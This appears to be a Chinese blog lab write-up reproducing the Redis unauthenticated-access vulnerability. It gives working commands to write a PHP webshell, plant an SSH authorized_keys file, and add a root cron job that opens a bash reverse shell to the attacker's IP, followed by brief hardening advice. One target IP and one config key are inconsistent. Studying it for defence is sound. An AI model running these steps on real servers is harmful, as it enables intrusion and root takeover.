0%

redis未授权访问漏洞复现

前言

Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(默认为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据,攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作。

影响版本:Redis 2.x,3.x,4.x,5.x。但是在Redis3.2之后增加了protected-mode安全模式,默认开启,且绑定了本地IP

所以想要复现需要更改配置

1
2
bind 127.0.0.1 => bind 0.0.0.0  //开启远程访问
protected-mode yes => protested-mode no

为了方便选择使用3.2版本之前的Redis:Redis-2.8.17,不需要修改配置文件即可复现

环境搭建

centos7 (192.168.0.182)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 下载redis-2.8.17
wget http://download.redis.io/releases/redis-2.8.17.tar.gz

# 解压压缩包 编译安装
tar xzf redis-2.8.17.tar.gz
cd redis-2.8.17
make

# redis.conf拷贝到/etc下面
cp redis.conf /etc/redis.conf

# 将redis-server和redis-cli拷贝到/usr/bin目录下,方便直接启动redis服务器
cd src
cp redis-server /usr/bin
cp redis-cli /usr/bin

# 启动服务
redis-server /etc/redis.conf
1
2
3
4
# 由于是在本地搭建的,没有开启6379端口对外开放,所有先在centos上先关闭防火墙 
systemctl stop firewalld.service
systemctl disable firewalld.service
systemctl status firewalld.service

漏洞利用

使用kali远程连接redis

1
redis-cli -h 192.168.163.132

写入webshell

条件

  • 成功连接redis服务器
  • 知道web根目录的绝对路径
  • redis服务器用户有写入权限
1
2
3
4
config set dir /var/www/html
config set dbfilename shell.php
192.168.0.182:6379> set webshell "<?php phpinfo();?>"
save

写入ssh公钥远程连接

1.kali 本地生成ssh公钥

ssh-keygen -t rsa

2.进入.ssh目录,将公钥写入1.txt

cd /root/.ssh

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt

3.将1.txt写入靶机

cat 1.txt | redis-cli -h 192.168.0.182 -x set crack

4.远程登录靶机redis服务

redis-cli -h 192.168.0.182

5.更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh),设置上传公钥的备份文件名字为authorized_keys,save保存

CONFIG GET dir

config set dir /root/.ssh

CONFIG SET dbfilename authorized_keys

CONFIG GET dbfilename 检查是否有authorized_keys文件

save

6.ssh连接靶机

ssh -i id_rsa root@192.168.0.182

登录成功

利用crontab反弹shell

kali使用nc监听端口

nc -lvvp 5555

kali连接redis服务

redis-cli -h 192.168.0.182

向服务器写入文件

1
2
3
4
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.128/5555 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save

查看nc 是否反弹到shell

防御

  • 禁用高危命令,如远程修改 DB 文件地址

  • 选择使用地权限运行redis服务,且禁止远程登录

  • 设置Redis服务密码,或是绑定本地IP:127.0.0.1

Reference

www.feidao.site/wordpress/?p=2090

https://www.freebuf.com/vuls/248207.html

https://www.freebuf.com/vuls/223432.html

https://www.yyxzz.net/articles/36.html

欢迎关注我的其它发布渠道

------------- 💖 🌞 本 文 结 束 😚 感 谢 您 的 阅 读 🌞 💖 -------------